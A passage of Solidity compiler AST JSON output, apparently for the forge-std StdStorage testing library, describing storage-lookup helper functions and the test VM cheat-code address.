Name","src":"12648:7:8","typeDescriptions":{}}},"id":8777,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12648:101:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"functionReturnParameters":8758,"id":8778,"nodeType":"Return","src":"12641:108:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"getUpdatedSlotValue","nameLocation":"12465:19:8","parameters":{"id":8755,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8748,"mutability":"mutable","name":"curValue","nameLocation":"12493:8:8","nodeType":"VariableDeclaration","scope":8780,"src":"12485:16:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8747,"name":"bytes32","nodeType":"ElementaryTypeName","src":"12485:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":8750,"mutability":"mutable","name":"varValue","nameLocation":"12511:8:8","nodeType":"VariableDeclaration","scope":8780,"src":"12503:16:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8749,"name":"uint256","nodeType":"ElementaryTypeName","src":"12503:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":8752,"mutability":"mutable","name":"offsetLeft","nameLocation":"12529:10:8","nodeType":"VariableDeclaration","scope":8780,"src":"12521:18:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8751,"name":"uint256","nodeType":"ElementaryTypeName","src":"12521:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":8754,"mutability":"mutable","name":"offsetRight","nameLocation":"12549:11:8","nodeType":"VariableDeclaration","scope":8780,"src":"12541:19:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8753,"name":"uint256","nodeType":"ElementaryTypeName","src":"12541:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"12484:77:8"},"returnParameters":{"id":8758,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8757,"mutability":"mutable","name":"newValue","nameLocation":"12617:8:8","nodeType":"VariableDeclaration","scope":8780,"src":"12609:16:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8756,"name":"bytes32","nodeType":"ElementaryTypeName","src":"12609:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"12608:18:8"},"scope":8781,"stateMutability":"pure","virtual":false,"visibility":"internal"}],"abstract":false,"baseContracts":[],"canonicalName":"stdStorageSafe","contractDependencies":[],"contractKind":"library","fullyImplemented":true,"linearizedBaseContracts":[8781],"name":"stdStorageSafe","nameLocation":"458:14:8","scope":9387,"usedErrors":[],"usedEvents":[7437,7443]},{"id":9386,"nodeType":"ContractDefinition","src":"12760:5081:8","nodes":[{"id":8798,"nodeType":"VariableDeclaration","src":"12785:84:8","nodes":[],"constant":true,"mutability":"constant","name":"vm","nameLocation":"12805:2:8","scope":9386,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"},"typeName":{"id":8783,"nodeType":"UserDefinedTypeName","pathNode":{"id":8782,"name":"Vm","nameLocations":["12785:2:8"],"nodeType":"IdentifierPath","referencedDeclaration":15673,"src":"12785:2:8"},"referencedDeclaration":15673,"src":"12785:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"value":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"hexValue":"6865766d20636865617420636f6465","id":8792,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"12847:17:8","typeDescriptions":{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""},"value":"hevm cheat code"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""}],"id":8791,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"12837:9:8","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":8793,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12837:28:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":8790,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"12829:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":8789,"name":"uint256","nodeType":"ElementaryTypeName","src":"12829:7:8","typeDescriptions":{}}},"id":8794,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12829:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":8788,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"12821:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":8787,"name":"uint160","nodeType":"ElementaryTypeName","src":"12821:7:8","typeDescriptions":{}}},"id":8795,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12821:46:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":8786,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"12813:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":8785,"name":"address","nodeType":"ElementaryTypeName","src":"12813:7:8","typeDescriptions":{}}},"id":8796,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12813:55:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":8784,"name":"Vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15673,"src":"12810:2:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Vm_$15673_$","typeString":"type(contract Vm)"}},"id":8797,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12810:59:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"visibility":"private"},{"id":8811,"nodeType":"FunctionDefinition","src":"12876:118:8","nodes":[],"body":{"id":8810,"nodeType":"Block","src":"12943:51:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8807,"name":"sigStr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8800,"src":"12980:6:8","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":8805,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"12960:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":8806,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"12975:4:8","memberName":"sigs","nodeType":"MemberAccess","referencedDeclaration":7481,"src":"12960:19:8","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_bytes4_$","typeString":"function (string memory) pure returns (bytes4)"}},"id":8808,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12960:27:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"functionReturnParameters":8804,"id":8809,"nodeType":"Return","src":"12953:34:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"sigs","nameLocation":"12885:4:8","parameters":{"id":8801,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8800,"mutability":"mutable","name":"sigStr","nameLocation":"12904:6:8","nodeType":"VariableDeclaration","scope":8811,"src":"12890:20:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":8799,"name":"string","nodeType":"ElementaryTypeName","src":"12890:6:8","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"12889:22:8"},"returnParameters":{"id":8804,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8803,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8811,"src":"12935:6:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":8802,"name":"bytes4","nodeType":"ElementaryTypeName","src":"12935:6:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"src":"12934:8:8"},"scope":9386,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":8825,"nodeType":"FunctionDefinition","src":"13000:106:8","nodes":[],"body":{"id":8824,"nodeType":"Block","src":"13066:40:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8820,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8814,"src":"13088:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"hexValue":"74727565","id":8821,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"13094:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":8819,"name":"find","nodeType":"Identifier","overloadedDeclarations":[8825,8843],"referencedDeclaration":8843,"src":"13083:4:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bool_$returns$_t_uint256_$","typeString":"function (struct StdStorage storage pointer,bool) returns (uint256)"}},"id":8822,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13083:16:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":8818,"id":8823,"nodeType":"Return","src":"13076:23:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"find","nameLocation":"13009:4:8","parameters":{"id":8815,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8814,"mutability":"mutable","name":"self","nameLocation":"13033:4:8","nodeType":"VariableDeclaration","scope":8825,"src":"13014:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8813,"nodeType":"UserDefinedTypeName","pathNode":{"id":8812,"name":"StdStorage","nameLocations":["13014:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13014:10:8"},"referencedDeclaration":7427,"src":"13014:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"13013:25:8"},"returnParameters":{"id":8818,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8817,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8825,"src":"13057:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8816,"name":"uint256","nodeType":"ElementaryTypeName","src":"13057:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"13056:9:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8843,"nodeType":"FunctionDefinition","src":"13112:141:8","nodes":[],"body":{"id":8842,"nodeType":"Block","src":"13191:62:8","nodes":[],"statements":[{"expression":{"expression":{"arguments":[{"id":8837,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8828,"src":"13228:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":8838,"name":"_clear","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8830,"src":"13234:6:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":8835,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"13208:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":8836,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13223:4:8","memberName":"find","nodeType":"MemberAccess","referencedDeclaration":8090,"src":"13208:19:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bool_$returns$_t_struct$_FindData_$7402_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bool) returns (struct FindData storage pointer)"}},"id":8839,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13208:33:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":8840,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"13242:4:8","memberName":"slot","nodeType":"MemberAccess","referencedDeclaration":7395,"src":"13208:38:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":8834,"id":8841,"nodeType":"Return","src":"13201:45:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"find","nameLocation":"13121:4:8","parameters":{"id":8831,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8828,"mutability":"mutable","name":"self","nameLocation":"13145:4:8","nodeType":"VariableDeclaration","scope":8843,"src":"13126:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8827,"nodeType":"UserDefinedTypeName","pathNode":{"id":8826,"name":"StdStorage","nameLocations":["13126:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13126:10:8"},"referencedDeclaration":7427,"src":"13126:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8830,"mutability":"mutable","name":"_clear","nameLocation":"13156:6:8","nodeType":"VariableDeclaration","scope":8843,"src":"13151:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":8829,"name":"bool","nodeType":"ElementaryTypeName","src":"13151:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"13125:38:8"},"returnParameters":{"id":8834,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8833,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8843,"src":"13182:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8832,"name":"uint256","nodeType":"ElementaryTypeName","src":"13182:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"13181:9:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8861,"nodeType":"FunctionDefinition","src":"13259:156:8","nodes":[],"body":{"id":8860,"nodeType":"Block","src":"13355:60:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8856,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8846,"src":"13394:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":8857,"name":"_target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8848,"src":"13400:7:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":8854,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"13372:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":8855,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13387:6:8","memberName":"target","nodeType":"MemberAccess","referencedDeclaration":8110,"src":"13372:21:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":8858,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13372:36:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8853,"id":8859,"nodeType":"Return","src":"13365:43:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"target","nameLocation":"13268:6:8","parameters":{"id":8849,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8846,"mutability":"mutable","name":"self","nameLocation":"13294:4:8","nodeType":"VariableDeclaration","scope":8861,"src":"13275:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8845,"nodeType":"UserDefinedTypeName","pathNode":{"id":8844,"name":"StdStorage","nameLocations":["13275:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13275:10:8"},"referencedDeclaration":7427,"src":"13275:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8848,"mutability":"mutable","name":"_target","nameLocation":"13308:7:8","nodeType":"VariableDeclaration","scope":8861,"src":"13300:15:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":8847,"name":"address","nodeType":"ElementaryTypeName","src":"13300:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"13274:42:8"},"returnParameters":{"id":8853,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8852,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8861,"src":"13335:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8851,"nodeType":"UserDefinedTypeName","pathNode":{"id":8850,"name":"StdStorage","nameLocations":["13335:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13335:10:8"},"referencedDeclaration":7427,"src":"13335:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"13334:20:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8879,"nodeType":"FunctionDefinition","src":"13421:143:8","nodes":[],"body":{"id":8878,"nodeType":"Block","src":"13510:54:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8874,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8864,"src":"13546:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":8875,"name":"_sig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8866,"src":"13552:4:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"expression":{"id":8872,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"13527:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":8873,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13542:3:8","memberName":"sig","nodeType":"MemberAccess","referencedDeclaration":8130,"src":"13527:18:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes4_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bytes4) returns (struct StdStorage storage pointer)"}},"id":8876,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13527:30:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8871,"id":8877,"nodeType":"Return","src":"13520:37:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"sig","nameLocation":"13430:3:8","parameters":{"id":8867,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8864,"mutability":"mutable","name":"self","nameLocation":"13453:4:8","nodeType":"VariableDeclaration","scope":8879,"src":"13434:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8863,"nodeType":"UserDefinedTypeName","pathNode":{"id":8862,"name":"StdStorage","nameLocations":["13434:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13434:10:8"},"referencedDeclaration":7427,"src":"13434:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8866,"mutability":"mutable","name":"_sig","nameLocation":"13466:4:8","nodeType":"VariableDeclaration","scope":8879,"src":"13459:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":8865,"name":"bytes4","nodeType":"ElementaryTypeName","src":"13459:6:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"src":"13433:38:8"},"returnParameters":{"id":8871,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8870,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8879,"src":"13490:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8869,"nodeType":"UserDefinedTypeName","pathNode":{"id":8868,"name":"StdStorage","nameLocations":["13490:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13490:10:8"},"referencedDeclaration":7427,"src":"13490:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"13489:20:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8897,"nodeType":"FunctionDefinition","src":"13570:150:8","nodes":[],"body":{"id":8896,"nodeType":"Block","src":"13666:54:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8892,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8882,"src":"13702:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":8893,"name":"_sig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8884,"src":"13708:4:8","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":8890,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"13683:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":8891,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13698:3:8","memberName":"sig","nodeType":"MemberAccess","referencedDeclaration":8152,"src":"13683:18:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_string_memory_ptr_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,string memory) returns (struct StdStorage storage pointer)"}},"id":8894,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13683:30:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8889,"id":8895,"nodeType":"Return","src":"13676:37:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"sig","nameLocation":"13579:3:8","parameters":{"id":8885,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8882,"mutability":"mutable","name":"self","nameLocation":"13602:4:8","nodeType":"VariableDeclaration","scope":8897,"src":"13583:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8881,"nodeType":"UserDefinedTypeName","pathNode":{"id":8880,"name":"StdStorage","nameLocations":["13583:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13583:10:8"},"referencedDeclaration":7427,"src":"13583:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8884,"mutability":"mutable","name":"_sig","nameLocation":"13622:4:8","nodeType":"VariableDeclaration","scope":8897,"src":"13608:18:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":8883,"name":"string","nodeType":"ElementaryTypeName","src":"13608:6:8","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"13582:45:8"},"returnParameters":{"id":8889,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8888,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8897,"src":"13646:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8887,"nodeType":"UserDefinedTypeName","pathNode":{"id":8886,"name":"StdStorage","nameLocations":["13646:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13646:10:8"},"referencedDeclaration":7427,"src":"13646:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct 